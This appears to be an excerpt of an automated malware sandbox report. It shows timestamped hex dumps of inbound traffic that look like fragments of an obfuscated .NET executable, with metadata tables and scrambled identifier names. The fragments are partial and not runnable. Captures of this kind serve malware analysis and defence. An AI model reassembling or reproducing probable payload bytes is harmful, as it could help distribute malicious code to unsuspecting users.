38 2b b3 ff ff fe 0c 0a 00 20 19 00 00 00 20 c7 00 00 00 20 42 00 00 00 59 9c 20 d5 01 00 00 fe 0e 21 00 38 04 b3 ff ff 11 
43 16 28 78 05 00 06 26 20 63 00 00 00 28 d2 05 00 06 39 f0 b2 ff ff 26 20 16 00 00 00 38 e5 b2 ff ff 1f 17 13 7b 20 cc 01 
00 00 38 d7 b2 ff ff 11 71 11 20 1c 58 11 1b 1c 91 9c 20 06 00 00 00 28 d2 05 00 06 3a bd b2 ff ff 26 20 53 01 00 00 38 b2 
b2 ff ff fe 0c 0a 00 20 07 00 00 00 20 24 00 00 00 20 04 00 00 00 58 9c 20 45 01 00 00 28 d1 05 00 06 3a 8e b2 ff ff 26 38 
84 b2 ff ff 11 62 25 13 8b 3a 67 d5 ff ff 20 f1 01 00 00 38 74 b2 ff ff 16 80 c4 00 00 04 20 78 02 00 00 38 64 b2 ff ff fe 0c 04 
00 20 0b 00 00 00 20 b6 00 00 00 
Data Ascii:  !8@ v _X %8+   BY !8C(x& c(9& 8{ 8q X (:& S8  $ X E(:&8b%:g 8t x8d  

2021-09-27 18:36:18 UTC 65 IN Data Raw: 11 17 11 06 19 58 e0 91 1f 18 62 11 17 11 06 18 58 e0 91 1f 10 62 60 11 17 11 06 17 58 e0 91 1e 62 60 11 17 
11 06 e0 91 60 13 58 20 44 00 00 00 38 61 a4 ff ff 11 71 11 20 18 58 11 0e 18 91 9c 20 4b 02 00 00 38 4c a4 ff ff 20 7a 00 
00 00 20 29 00 00 00 59 fe 0e 79 00 20 76 02 00 00 28 d1 05 00 06 3a 2e a4 ff ff 26 20 8f 00 00 00 38 23 a4 ff ff fe 0c 0a 
00 20 07 00 00 00 20 77 00 00 00 20 57 00 00 00 58 9c 20 32 00 00 00 28 d1 05 00 06 39 ff a3 ff ff 26 20 e1 00 00 00 38 
f4 a3 ff ff 11 68 11 03 11 03 8e 69 17 11 77 58 59 91 60 13 68 20 42 00 00 00 28 d2 05 00 06 3a d4 a3 ff ff 26 20 ea 00 00 
00 38 c9 a3 ff ff 11 17 8e 69 1a 5b 13 7f 20 33 02 00 00 38 b7 a3 ff ff 11 76 28 a6 05 00 06 13 8a 20 30 02 00 00 38 a4 a3 
ff ff 20 56 00 00 00 20 0f 00 00 00 59 fe 0e 
Data Ascii: XbXb`Xb``X D8aq X K8L z )Yy v(:.& 8#  w WX 2(9& 8hiwXY`h B(:& 8i[ 38v( 08 V Y

2021-09-27 18:36:18 UTC 69 IN Data Raw: 06 2a 00 3a fe 09 00 00 fe 09 01 00 6f b6 00 00 0a 2a 00 2a fe 09 00 00 6f be 00 00 0a 2a 00 3a fe 09 00 00 fe 
09 01 00 6f f6 05 00 06 2a 00 2a fe 09 00 00 6f f9 05 00 06 2a 00 2e 00 fe 09 00 00 28 11 01 00 0a 2a 2a fe 09 00 00 6f fd 
00 00 0a 2a 00 2a fe 09 00 00 6f 12 01 00 0a 2a 00 1e 00 28 0e 05 00 06 2a 3a fe 09 00 00 fe 09 01 00 6f 13 01 00 0a 2a 
00 4a fe 09 00 00 fe 09 01 00 fe 09 02 00 6f 14 01 00 0a 2a 00 1e 00 28 2a 05 00 06 2a 5a fe 09 00 00 fe 09 01 00 fe 09 02
00 fe 09 03 00 6f 0a 01 00 0a 2a 00 2a fe 09 00 00 6f 15 01 00 0a 2a 00 2e 00 fe 09 00 00 28 2b 05 00 06 2a 2a fe 09 00 
00 6f 0b 01 00 0a 2a 00 16 14 14 fe 01 2a 00 00 0a 14 2a 00 1e 00 28 1d 06 00 06 2a 2e 00 fe 09 00 00 28 a9 00 00 0a 2a 
2e 00 fe 09 00 00 28 a2 00 00 0a 2a 2a fe 09 00 
Data Ascii: *:o**o*:o**o*.(**o**o*(*:o*Jo*(**Zo**o*.(+**o***(*.(*.(**

2021-09-27 18:36:18 UTC 73 IN Data Raw: bb 31 00 00 3c 32 00 00 8f 1d 00 00 12 04 00 00 88 0c 00 00 4f 28 00 00 d9 12 00 00 bf 30 00 00 c9 0e 00 00 
b4 2e 00 00 8b 27 00 00 f4 17 00 00 8d 09 00 00 e8 06 00 00 0b 0d 00 00 ae 0b 00 00 24 18 00 00 5e 24 00 00 2d 2a 00 
00 dd 01 00 00 be 23 00 00 74 12 00 00 2d 05 00 00 1b 10 00 00 64 20 00 00 32 23 00 00 2d 2c 00 00 be 11 00 00 24 32 
00 00 4f 13 00 00 26 0c 00 00 c1 01 00 00 39 00 00 00 a3 1c 00 00 77 1f 00 00 c4 2a 00 00 a3 03 00 00 85 0a 00 00 c0 14 
00 00 02 09 00 00 69 05 00 00 64 1e 00 00 f0 1a 00 00 05 2b 00 00 c0 21 00 00 ae 00 00 00 12 0f 00 00 de 33 00 00 79 08 
00 00 bb 08 00 00 dd 0c 00 00 19 08 00 00 b4 07 00 00 6c 03 00 00 02 13 00 00 ef 22 00 00 a7 20 00 00 bb 18 00 00 ec 2
a 00 00 3c 0e 00 00 ac 16 00 00 37 15 00 00 02 16 00 00 dd 2a 00 
Data Ascii: 1<2O(0.'$^$-*#t-d 2#-,$2O&9w*id+!3yl" *<7*

2021-09-27 18:36:18 UTC 77 IN Data Raw: 3a ec ff ff 38 57 1c 00 00 20 48 01 00 00 38 2b ec ff ff fe 0c 13 00 20 00 00 00 00 20 5f 00 00 00 20 24 00 00 00 
58 9c 20 60 00 00 00 38 0c ec ff ff 20 ab 00 00 00 20 1d 00 00 00 58 fe 0e 18 00 20 30 00 00 00 28 41 06 00 06 39 ee eb ff 
ff 26 38 e4 eb ff ff fe 0c 13 00 20 04 00 00 00 fe 0c 2a 00 9c 20 02 01 00 00 38 d0 eb ff ff fe 0c 13 00 20 01 00 00 00 20 05 
00 00 00 20 3f 00 00 00 58 9c 20 74 01 00 00 38 b1 eb ff ff fe 0c 13 00 20 13 00 00 00 fe 0c 2a 00 9c 20 b4 00 00 00 38 99 
eb ff ff 20 41 00 00 00 20 3d 00 00 00 58 fe 0e 2a 00 20 42 01 00 00 38 80 eb ff ff fe 0c 13 00 20 08 00 00 00 fe 0c 2a 00 9
c 20 40 00 00 00 28 40 06 00 06 39 63 eb ff ff 26 20 0c 01 00 00 38 58 eb ff ff 20 f5 00 00 00 20 51 00 00 00 59 fe 0e 2a 
00 20 9d 01 00 00 38 3f eb ff ff 
Data Ascii: :8W H8+  _ $X `8  X 0(A9&8 * 8   ?X t8 * 8 A =X* B8 * @(@9c& 8X  QY* 8?

2021-09-27 18:36:18 UTC 82 IN Data Raw: fe 0e 2a 00 20 ac 01 00 00 38 ab db ff ff fe 0c 13 00 20 1d 00 00 00 fe 0c 2a 00 9c 20 17 00 00 00 28 41 06 00 
06 39 8e db ff ff 26 38 84 db ff ff 7e e7 00 00 04 39 f2 f7 ff ff 20 cf 00 00 00 28 40 06 00 06 3a 6f db ff ff 26 38 65 db ff ff 20 
bc 00 00 00 20 3e 00 00 00 59 fe 0e 2a 00 20 75 01 00 00 38 50 db ff ff 20 2a 00 00 00 20 3a 00 00 00 58 fe 0e 2e 00 20 
4f 01 00 00 38 37 db ff ff 20 30 00 00 00 20 29 00 00 00 58 fe 0e 2e 00 20 fe 00 00 00 28 41 06 00 06 39 19 db ff ff 26 20 
db 00 00 00 38 0e db ff ff 20 8f 00 00 00 20 2f 00 00 00 59 fe 0e 2a 00 20 68 00 00 00 38 f5 da ff ff 20 a7 00 00 00 20 3c 00
00 00 58 fe 0e 2c 00 20 36 00 00 00 38 dc da ff ff 20 c7 00 00 00 20 42 00 00 00 59 fe 0e 2e 00 20 9a 00 00 00 28 41 06 
00 06 3a be da ff ff 26 20 cd 00 
Data Ascii: * 8 * (A9&8~9 (@:o&8e  >Y* u8P * :X. O87 0 )X. (A9& 8  /Y* h8  <X, 68  BY. (A:& 

2021-09-27 18:36:18 UTC 86 IN Data Raw: 00 00 00 fe 0c 2e 00 9c 20 a6 00 00 00 28 41 06 00 06 39 1d cb ff ff 26 38 13 cb ff ff 20 ba 00 00 00 20 35 00 
00 00 58 fe 0e 2c 00 20 bc 00 00 00 28 41 06 00 06 39 f9 ca ff ff 26 38 ef ca ff ff fe 0c 13 00 20 14 00 00 00 20 fa 00 00 00 
20 53 00 00 00 59 9c 20 7c 00 00 00 38 d4 ca ff ff fe 0c 10 00 20 0a 00 00 00 20 bb 00 00 00 20 3e 00 00 00 59 9c 20 25 
00 00 00 28 40 06 00 06 3a b0 ca ff ff 26 38 a6 ca ff ff fe 0c 10 00 20 00 00 00 00 fe 0c 2c 00 9c 20 ae 00 00 00 28 40 06 
00 06 3a 8d ca ff ff 26 20 88 00 00 00 38 82 ca ff ff fe 0c 10 00 20 0d 00 00 00 20 9e 00 00 00 20 6d 00 00 00 59 9c 20 c7 
00 00 00 38 63 ca ff ff fe 0c 10 00 20 07 00 00 00 fe 0c 2c 00 9c 20 74 00 00 00 38 4b ca ff ff 20 bf 00 00 00 20 3f 00 00 00 
59 fe 0e 2c 00 20 97 00 00 00 38 32 
Data Ascii: . (A9&8  5X, (A9&8   SY |8   >Y %(@:&8 , (@:& 8   mY 8c , t8K  ?Y, 82

2021-09-27 18:36:18 UTC 90 IN Data Raw: 05 28 79 e5 4e 4b 0e 02 0e 00 0e 01 6f ac 06 00 06 2a 42 28 1e 05 00 06 d0 74 00 00 02 28 15 05 00 06 2a 00 
00 00 3e 2b 05 28 81 be 47 32 0e 00 6f b0 06 00 06 2a 42 28 1e 05 00 06 d0 75 00 00 02 28 15 05 00 06 2a 00 00 00 46 
2b 05 28 3d 09 5f 45 0e 01 0e 00 6f b4 06 00 06 2a 00 00 42 28 1e 05 00 06 d0 76 00 00 02 28 15 05 00 06 2a 00 00 00 
46 2b 05 28 73 5c 4d 4d 0e 01 0e 00 6f b8 06 00 06 2a 00 00 42 28 1e 05 00 06 d0 77 00 00 02 28 15 05 00 06 2a 00 00 0
0 46 2b 05 28 75 74 71 3a 0e 01 0e 00 6f bc 06 00 06 2a 00 00 42 28 1e 05 00 06 d0 78 00 00 02 28 15 05 00 06 2a 00 00 
00 56 2b 05 28 05 ba 3d 3f 0e 03 0e 00 0e 01 0e 02 6f c0 06 00 06 2a 00 00 42 28 1e 05 00 06 d0 79 00 00 02 28 15 05 
00 06 2a 00 00 00 46 2b 05 28 8e 80 09 5f 0e 01 0e 00 6f c4 06 00 06 
Data Ascii: (yNKo*B(t(*>+(G2o*B(u(*F+(=_Eo*B(v(*F+(s\MMo*B(w(*F+(utq:o*B(x(*V+(=?o*B(y(*F+(_o

2021-09-27 18:36:18 UTC 94 IN Data Raw: 00 71 03 00 00 cf 01 00 00 0a 00 00 00 65 00 00 00 04 00 00 00 09 00 00 00 0e 00 00 00 74 00 00 00 05 00 00 
00 0b 00 00 00 0f 00 00 00 01 00 00 00 23 00 00 00 02 00 00 00 09 00 00 00 02 00 00 00 07 00 00 00 06 00 00 00 4e 00 
00 00 08 00 00 00 15 00 00 00 00 00 49 02 01 00 00 00 ff ff 00 00 00 00 02 00 00 00 ff ff 06 00 09 00 24 00 06 00 45 00 4a 
00 06 00 51 00 4a 00 06 00 58 00 24 00 06 00 71 00 24 00 06 00 8e 00 a2 00 06 00 c1 00 4a 00 06 00 c9 00 dd 00 23 00 
f0 00 00 00 06 00 ff 00 a2 00 06 00 0d 01 24 00 06 00 26 01 24 00 06 00 41 01 24 00 06 00 58 01 78 01 06 00 98 01 4a 00 
06 00 9e 01 78 01 06 00 bc 01 d5 01 06 00 ef 01 24 00 06 00 0c 02 78 01 0a 00 84 02 94 02 0a 00 fa 02 03 03 06 00 47 03 
4a 00 06 00 d2 03 4a 00 06 00 b8 04 4a 00 0e 00 00 05 18 05 
Data Ascii: qet#NI$EJQJX$q$J#$&$A$XxJx$xGJJJ
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2021-09-27 18:36:18 UTC 97 IN Data Raw: 00 01 00 00 3e 10 00 00 5d 00 c1 01 38 07 00 01 00 00 52 10 00 00 5d 00 c3 01 3c 07 00 01 00 00 66 10 00 00 
5d 00 c4 01 40 07 00 01 00 00 7a 10 00 00 5d 00 c5 01 44 07 00 01 00 00 8e 10 00 00 5d 00 c8 01 48 07 00 01 00 00 a2 
10 00 00 5d 00 c9 01 4c 07 00 01 00 00 b6 10 00 00 5d 00 ca 01 50 07 00 01 00 00 ca 10 00 00 5d 00 cb 01 54 07 00 01 
00 00 de 10 00 00 5d 00 cc 01 58 07 00 01 00 00 f2 10 00 00 5d 00 cd 01 5c 07 00 01 00 00 06 11 00 00 5d 00 ce 01 60 0
7 00 01 00 00 1a 11 00 00 5d 00 cf 01 64 07 00 01 00 00 2e 11 00 00 5d 00 d0 01 68 07 00 01 00 00 42 11 00 00 5d 00 d1 
01 6c 07 00 01 00 00 56 11 00 00 5d 00 d2 01 70 07 00 01 00 00 6a 11 00 00 5d 00 d3 01 74 07 00 01 00 00 7e 11 00 00 
5d 00 d4 01 78 07 00 01 00 00 92 11 00 00 5d 00 d5 01 7c 07 00 01 00 
Data Ascii: >]8R]<f]@z]D]H]L]P]T]X]\]`]d.]hB]lV]pj]t~]x]|

2021-09-27 18:36:18 UTC 101 IN Data Raw: 16 22 01 01 00 ec 21 00 00 08 00 93 00 49 16 0e 01 01 00 f4 21 00 00 08 00 11 18 66 15 0e 01 01 00 04 23 00 
00 08 00 13 08 9e 16 22 01 01 00 14 23 00 00 08 00 13 08 b2 16 1d 01 01 00 24 23 00 00 08 00 13 08 bc 16 74 01 01 00 
34 23 00 00 08 00 13 08 c6 16 7f 01 01 00 44 23 00 00 08 00 93 00 d0 16 0e 01 01 00 4c 23 00 00 08 00 93 00 e4 16 0e 
01 01 00 54 23 00 00 08 00 93 00 f8 16 0e 01 01 00 5c 23 00 00 08 00 93 00 0c 17 0e 01 01 00 64 23 00 00 08 00 93 00 2
0 17 19 01 01 00 6c 23 00 00 08 00 93 00 34 17 8a 01 01 00 74 23 00 00 08 00 46 02 84 17 a3 01 01 00 84 23 00 00 08 
00 46 02 8d 17 ad 01 02 00 94 23 00 00 08 00 83 00 99 17 b6 01 02 00 a4 23 00 00 08 00 46 02 a8 17 c1 01 02 00 b4 23 
00 00 08 00 11 00 b1 17 ca 01 02 00 c4 23 00 00 08 00 01 00 fa 17 e6 01 
Data Ascii: "!I!f#"#$#t4#D#L#T#\#d# l#4t#F#F##F##

2021-09-27 18:36:18 UTC 105 IN Data Raw: 81 00 08 01 70 34 00 00 08 00 86 18 3f 00 e1 08 09 01 80 34 00 00 08 00 86 18 3f 00 e6 08 0a 01 90 34 00 00 
08 00 86 18 3f 00 ee 08 0c 01 a0 34 00 00 08 00 c6 00 1e 27 08 08 0e 01 b0 34 00 00 08 00 c6 00 29 27 08 08 0e 01 b8 
34 00 00 08 00 c6 00 34 27 a2 08 0e 01 c8 34 00 00 08 00 c3 02 a0 25 19 08 0f 01 d8 34 00 00 08 00 83 00 f9 2a 19 08 
10 01 e8 34 00 00 08 00 c6 00 3f 27 aa 08 11 01 f8 34 00 00 08 00 c3 02 c1 25 08 08 11 01 00 35 00 00 08 00 c6 00 4a 27 
aa 08 11 01 08 35 00 00 08 00 86 00 04 2b aa 08 11 01 10 35 00 00 08 00 c6 00 55 27 aa 08 11 01 18 35 00 00 08 00 c6 0
0 60 27 aa 08 11 01 20 35 00 00 08 00 c6 00 6b 27 aa 08 11 01 28 35 00 00 08 00 c6 00 76 27 aa 08 11 01 30 35 00 00 
08 00 c6 00 81 27 aa 08 11 01 38 35 00 00 08 00 c6 00 8c 27 af 08 11 
Data Ascii: p4?4?4?4'4)'44'4%4*4?'4%5J'5+5U'5`' 5k'(5v'05'85'

2021-09-27 18:36:18 UTC 109 IN Data Raw: 08 66 01 44 42 00 00 08 00 c6 00 e4 27 aa 08 66 01 4c 42 00 00 08 00 c6 00 ef 27 af 08 66 01 54 42 00 00 08 
00 c6 00 fa 27 aa 08 66 01 5c 42 00 00 08 00 c6 00 05 28 aa 08 66 01 64 42 00 00 08 00 c6 00 10 28 aa 08 66 01 6c 42 
00 00 08 00 c6 00 1b 28 aa 08 66 01 74 42 00 00 08 00 c6 00 26 28 aa 08 66 01 7c 42 00 00 08 00 c6 00 31 28 aa 08 66 
01 84 42 00 00 08 00 c6 00 3c 28 af 08 66 01 8c 42 00 00 08 00 c6 00 47 28 af 08 66 01 94 42 00 00 08 00 c6 00 52 28 aa 
08 66 01 9c 42 00 00 08 00 c6 00 5d 28 aa 08 66 01 a4 42 00 00 08 00 c6 00 68 28 aa 08 66 01 ac 42 00 00 08 00 c6 00 7
3 28 aa 08 66 01 b4 42 00 00 08 00 c6 00 7e 28 aa 08 66 01 bc 42 00 00 08 00 c6 00 89 28 aa 08 66 01 c4 42 00 00 08 00 
c6 00 94 28 af 08 66 01 cc 42 00 00 08 00 c6 00 9f 28 af 08 66 01 
Data Ascii: fDB'fLB'fTB'f\B(fdB(flB(ftB&(f|B1(fB<(fBG(fBR(fB](fBh(fBs(fB~(fB(fB(fB(f

2021-09-27 18:36:18 UTC 114 IN Data Raw: c4 01 40 52 00 00 08 00 c3 02 5a 3b 0c 08 c5 01 50 52 00 00 08 00 c3 02 a0 25 19 08 c6 01 58 52 00 00 08 00 
c3 02 cc 25 25 08 c7 01 68 52 00 00 08 00 c3 02 d7 25 08 08 c7 01 70 52 00 00 08 00 c3 02 ab 25 1f 08 c7 01 80 52 00 
00 08 00 c3 02 b6 25 1f 08 c8 01 90 52 00 00 08 00 c3 02 c1 25 08 08 c9 01 98 52 00 00 08 00 91 18 66 15 0e 01 c9 01 20
53 00 00 08 00 93 00 17 3d 0e 01 c9 01 28 53 00 00 08 00 93 00 2b 3d 0e 01 c9 01 30 53 00 00 08 00 93 00 3f 3d 19 01 
c9 01 38 53 00 00 08 00 93 00 53 3d 1e 0a c9 01 40 53 00 00 08 00 93 00 67 3d 21 09 c9 01 48 53 00 00 08 00 93 00 7b 3
d 08 0a c9 01 50 53 00 00 08 00 93 00 8f 3d 46 05 ca 01 58 53 00 00 08 00 93 00 a3 3d 9d 08 ca 01 60 53 00 00 08 00 93 
00 b7 3d 9d 08 ca 01 68 53 00 00 08 00 93 00 cb 3d 0e 01 ca 01 70 
Data Ascii: @RZ;PR%XR%%hR%pR%R%R%Rf S=(S+=0S?=8SS=@Sg=!HS{=PS=FXS=`S=hS=p

2021-09-27 18:36:18 UTC 118 IN Data Raw: 02 cc 65 00 00 08 00 c3 02 c1 25 08 08 5c 02 dc 65 00 00 08 00 91 18 66 15 0e 01 5c 02 60 66 00 00 08 00 93 
00 8f 52 0e 01 5c 02 68 66 00 00 08 00 93 00 a3 52 0e 01 5c 02 70 66 00 00 08 00 93 00 b7 52 19 01 5c 02 78 66 00 00 
08 00 93 00 cb 52 50 0f 5c 02 80 66 00 00 08 00 93 00 df 52 46 05 5c 02 88 66 00 00 08 00 93 00 f3 52 21 09 5c 02 90 66 
00 00 08 00 93 00 07 53 08 0a 5c 02 98 66 00 00 08 00 93 00 1b 53 9d 08 5d 02 a0 66 00 00 08 00 93 00 2f 53 2d 09 5d 
02 a8 66 00 00 08 00 93 00 43 53 2d 09 5d 02 b0 66 00 00 08 00 93 00 57 53 0e 01 5d 02 b8 66 00 00 08 00 86 18 3f 00 2
2 00 5d 02 c8 66 00 00 08 00 c3 02 e2 25 0c 08 5e 02 d8 66 00 00 08 00 c3 02 8a 25 0c 08 5f 02 e8 66 00 00 08 00 c6 00 
a8 17 c1 01 60 02 f8 66 00 00 08 00 c3 02 c1 25 08 08 60 02 00 67 
Data Ascii: e%\ef\`fR\hfR\pfR\xfRP\fRF\fR!\fS\fS]f/S-]fCS-]fWS]f?"]f%^f%_f`f%`g

2021-09-27 18:36:18 UTC 122 IN Data Raw: f8 37 01 00 08 00 83 08 22 70 bf 10 02 03 0c 38 01 00 08 00 83 00 2d 70 ac 11 02 03 24 38 01 00 08 00 83 00 
38 70 95 10 03 03 3c 38 01 00 08 00 83 00 43 70 ad 01 06 03 50 38 01 00 08 00 83 00 4e 70 a5 00 06 03 64 38 01 00 08 
00 93 00 59 70 46 05 06 03 78 38 01 00 08 00 93 00 6d 70 1a 0f 06 03 90 38 01 00 08 00 93 00 81 70 df 14 06 03 b0 38 
01 00 08 00 93 00 95 70 bc 07 06 03 c4 38 01 00 00 00 91 18 66 15 0e 01 06 03 00 00 00 00 03 00 86 18 3f 00 33 03 06 0
3 00 00 00 00 03 00 c6 01 21 1f 5e 16 08 03 00 00 00 00 03 00 c6 01 b8 1e 65 16 0b 03 00 00 00 00 03 00 c6 01 03 1f 84 
05 10 03 cc 38 01 00 00 00 91 18 66 15 0e 01 11 03 00 00 00 00 03 00 86 18 3f 00 33 03 11 03 00 00 00 00 03 00 c6 01 
21 1f 72 16 13 03 00 00 00 00 03 00 c6 01 b8 1e 7a 16 17 03 00 00 00 
Data Ascii: 7"p8-p$88p<8CpP8Npd8YpFx8mp8p8p8f?3!^e8f?3!rz

2021-09-27 18:36:18 UTC 126 IN Data Raw: 85 01 00 08 00 10 18 66 15 0e 01 72 03 00 00 00 00 03 00 46 00 21 1f 4a 1c 72 03 d0 85 01 00 08 00 16 00 d0 
87 50 1c 72 03 00 00 00 00 03 00 06 18 3f 00 33 03 72 03 e4 85 01 00 08 00 10 18 66 15 0e 01 72 03 00 00 00 00 03 00 
46 00 21 1f 5e 1c 72 03 f8 85 01 00 08 00 16 00 d0 87 65 1c 72 03 00 00 00 00 03 00 06 18 3f 00 33 03 72 03 0c 86 01 00 
08 00 10 18 66 15 0e 01 72 03 00 00 00 00 03 00 46 00 21 1f 74 1c 72 03 20 86 01 00 08 00 16 00 d0 87 7c 1c 72 03 00 
00 00 00 03 00 06 18 3f 00 33 03 72 03 34 86 01 00 08 00 10 18 66 15 0e 01 72 03 00 00 00 00 03 00 46 00 21 1f 8c 1c 72 
03 48 86 01 00 08 00 16 00 d0 87 94 1c 72 03 00 00 00 00 03 00 06 18 3f 00 33 03 72 03 5c 86 01 00 08 00 10 18 66 15 0
e 01 72 03 00 00 00 00 03 00 46 00 21 1f a4 1c 72 03 70 86 01 00 
Data Ascii: frF!JrPr?3rfrF!^rer?3rfrF!tr |r?3r4frF!rHr?3r\frF!rp

2021-09-27 18:36:18 UTC 129 IN Data Raw: 01 00 08 00 16 00 d0 87 f9 20 72 03 00 00 00 00 03 00 06 18 3f 00 33 03 72 03 b0 8e 01 00 08 00 10 18 66 15 
0e 01 72 03 00 00 00 00 03 00 46 00 21 1f 09 21 72 03 c4 8e 01 00 08 00 16 00 d0 87 13 21 72 03 00 00 00 00 03 00 06 
18 3f 00 33 03 72 03 d8 8e 01 00 08 00 10 18 66 15 0e 01 72 03 00 00 00 00 03 00 46 00 21 1f 25 21 72 03 ec 8e 01 00 
08 00 16 00 d0 87 2e 21 72 03 00 00 00 00 03 00 06 18 3f 00 33 03 72 03 00 8f 01 00 08 00 10 18 66 15 0e 01 72 03 00 0
0 00 00 03 00 46 00 21 1f 3f 21 72 03 14 8f 01 00 08 00 16 00 d0 87 4a 21 72 03 00 00 00 00 03 00 06 18 3f 00 33 03 72 0
3 2c 8f 01 00 08 00 10 18 66 15 0e 01 72 03 00 00 00 00 03 00 46 00 21 1f 5d 21 72 03 40 8f 01 00 08 00 16 00 d0 87 6b 
21 72 03 00 00 00 00 03 00 06 18 3f 00 33 03 72 03 58 8f 01 00 08 
Data Ascii:  r?3rfrF!!r!r?3rfrF!%!r.!r?3rfrF!?!rJ!r?3r,frF!]!r@k!r?3rX

2021-09-27 18:36:18 UTC 133 IN Data Raw: 00 8b 17 00 00 03 00 8b 17 00 00 01 00 8b 17 00 00 02 00 8b 17 00 00 03 00 8b 17 00 00 01 00 8b 17 00 00 
02 00 8b 17 00 00 02 00 8b 17 00 00 01 00 8b 17 00 00 01 00 8b 17 00 00 02 00 8b 17 00 00 03 00 8b 17 00 00 02 00 8b 
17 00 00 01 00 8b 17 00 00 02 00 8b 17 00 00 03 00 8b 17 00 00 02 00 8b 17 00 00 02 00 8b 17 00 00 02 00 8b 17 00 00 
02 00 8b 17 00 00 02 00 8b 17 00 00 02 00 8b 17 00 00 02 00 64 46 00 00 03 00 66 46 00 00 04 00 68 46 00 00 02 00 6a 
46 00 00 03 00 6c 46 00 00 04 00 68 46 00 00 01 00 8b 17 00 00 01 00 8b 17 00 00 01 00 8b 17 00 00 01 00 8b 17 00 00 
02 00 8b 17 00 00 01 00 8b 17 00 00 01 00 8b 17 00 00 01 00 8b 17 00 00 02 00 8b 17 00 00 01 00 8b 17 00 00 01 00 8b 
17 00 00 01 00 8b 17 00 00 01 00 8b 17 00 00 01 00 8b 17 00 00 01 00 8b 17 
Data Ascii: dFfFhFjFlFhF

Timestamp
kBytes
transferred Direction Data
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2021-09-27 18:36:18 UTC 137 IN Data Raw: 31 90 b6 01 f1 00 cf 5e 43 15 e1 01 40 90 ea 22 31 02 4c 90 f0 22 31 02 11 5d a8 11 31 02 55 90 f4 22 31 02 
60 90 f8 22 79 00 6b 90 fc 22 f1 00 75 90 08 08 d1 00 80 90 01 23 b1 03 92 90 08 0a d1 00 9d 90 08 23 d1 00 9d 90 0f 23 
d1 00 9d 90 16 23 d1 00 9d 90 1d 23 d1 00 9d 90 24 23 d1 00 9d 90 2b 23 d1 00 9d 90 32 23 d1 00 9d 90 39 23 79 00 a8 
17 c1 01 c1 01 a8 17 c1 01 91 01 a8 17 c1 01 11 02 a8 17 c1 01 51 01 cd 8e 40 23 29 02 a6 90 46 23 29 02 af 90 c5 10 21 
02 a8 17 c1 01 99 01 a8 17 c1 01 59 02 c9 5b 4a 23 59 02 1a 5e 50 23 61 02 ac 5c 55 23 69 02 ac 5c 5f 23 b9 03 b8 90 69 
23 d9 00 ab 5d b6 01 f1 00 c4 90 c1 01 89 02 d1 90 82 09 e1 01 e4 90 6e 23 f9 00 eb 17 75 23 e1 01 f1 90 7b 23 e1 01 ff 
90 82 23 f1 00 0d 91 87 23 59 02 15 5b ad 01 21 02 1e 91 8d 
Data Ascii: 1^C@"1L"1]1U"1`"yk"u#####$#+#2#9#yQ@#)F#)!Y[J#Y^P#a\U#i\_#i#]n#u#{###Y[!

2021-09-27 18:36:18 UTC 141 IN Data Raw: 4e 51 76 53 73 66 64 33 56 57 6c 78 4c 47 6b 71 65 6e 48 00 4e 4a 34 78 5a 32 78 48 79 47 49 38 33 38 70 50 
30 69 35 00 67 49 6c 6a 68 57 78 4b 30 31 36 34 6c 32 69 44 38 70 38 00 6e 6f 59 43 4b 72 78 71 6c 30 66 4b 78 58 52 
66 37 79 34 00 71 76 65 41 41 41 78 58 44 4c 74 4b 45 6c 63 4b 37 48 65 00 47 56 74 6b 58 65 78 61 72 33 4f 38 35 36 
33 5a 4b 42 62 00 45 6e 75 6d 00 6c 66 4e 52 62 4f 78 72 37 50 6b 37 64 44 56 43 4a 76 52 00 63 32 62 4c 4d 63 78 52 4
d 4e 62 44 31 4a 73 38 59 74 59 00 45 78 63 65 70 74 69 6f 6e 00 61 4c 42 63 56 4e 78 35 62 32 53 52 51 77 66 4a 69 41 
5a 00 56 30 31 69 46 38 78 69 31 42 71 41 41 48 49 58 6b 64 33 00 4c 71 56 73 64 33 78 65 6c 71 6a 34 39 32 74 72 76 
4a 54 00 45 58 46 6b 5a 6b 78 6e 73 68 71 72 75 33 79 55 68 47 6d 00 
Data Ascii: NQvSsfd3VWlxLGkqenHNJ4xZ2xHyGI838pP0i5gIljhWxK0164l2iD8p8noYCKrxql0fKxXRf7y4qveAAAxXDLtK
ElcK7HeGVtkXexar3O8563ZKBbEnumlfNRbOxr7Pk7dDVCJvRc2bLMcxRMNbD1Js8YtYExceptionaLBcVNx5b2SRQ
wfJiAZV01iF8xi1BqAAHIXkd3LqVsd3xelqj492trvJTEXFkZkxnshqru3yUhGm

2021-09-27 18:36:18 UTC 146 IN Data Raw: 4e 48 55 56 00 77 34 4b 73 47 6e 4c 50 6f 00 4b 4f 55 79 59 63 66 6d 64 00 4e 68 56 55 4e 44 5a 42 65 00 55 
73 65 72 00 61 68 73 56 73 4f 51 56 4d 00 6e 63 6f 6a 69 65 70 6a 30 59 51 62 45 58 56 58 50 4e 30 00 57 74 33 71 66 
4b 43 76 31 00 51 62 32 35 4f 52 45 67 52 00 64 34 53 36 52 43 70 4f 6e 00 64 72 6b 30 75 79 63 77 38 00 4a 6b 4b 43 
4d 39 63 63 49 00 52 37 5a 4f 39 72 70 63 4d 65 35 56 61 36 47 51 4c 38 76 00 62 76 74 38 75 49 70 4b 37 64 73 61 33 6
6 73 32 56 64 42 00 47 5a 52 78 6a 6c 70 39 36 52 49 6e 54 4f 41 43 65 47 4e 00 4d 36 50 34 45 79 70 31 53 4f 6e 78 50 
72 73 6b 49 4b 73 00 76 56 66 6a 4f 30 70 6b 39 37 6b 4e 53 73 42 48 41 4d 62 00 54 32 55 30 6c 77 70 53 50 34 4c 4e 
45 45 69 4b 77 64 45 00 73 37 46 42 53 43 39 68 6b 00 47 36 64 57 66 
Data Ascii: NHUVw4KsGnLPoKOUyYcfmdNhVUNDZBeUserahsVsOQVMncojiepj0YQbEXVXPN0Wt3qfKCv1Qb25OR
EgRd4S6RCpOndrk0uycw8JkKCM9ccIR7ZO9rpcMe5Va6GQL8vbvt8uIpK7dsa3fs2VdBGZRxjlp96RInTOACeGNM6P
4Eyp1SOnxPrskIKsvVfjO0pk97kNSsBHAMbT2U0lwpSP4LNEEiKwdEs7FBSC9hkG6dWf

2021-09-27 18:36:18 UTC 150 IN Data Raw: 6b 71 33 71 00 55 6d 6b 47 62 4d 4c 72 6f 6f 6e 71 56 70 4b 33 48 39 46 00 61 76 68 73 62 6b 4c 52 73 74 73 
53 6e 69 52 5a 4f 41 69 00 73 61 64 6a 58 63 4c 35 62 77 42 52 4a 37 43 37 56 49 79 00 6c 52 38 6a 4a 4a 75 36 47 6d 
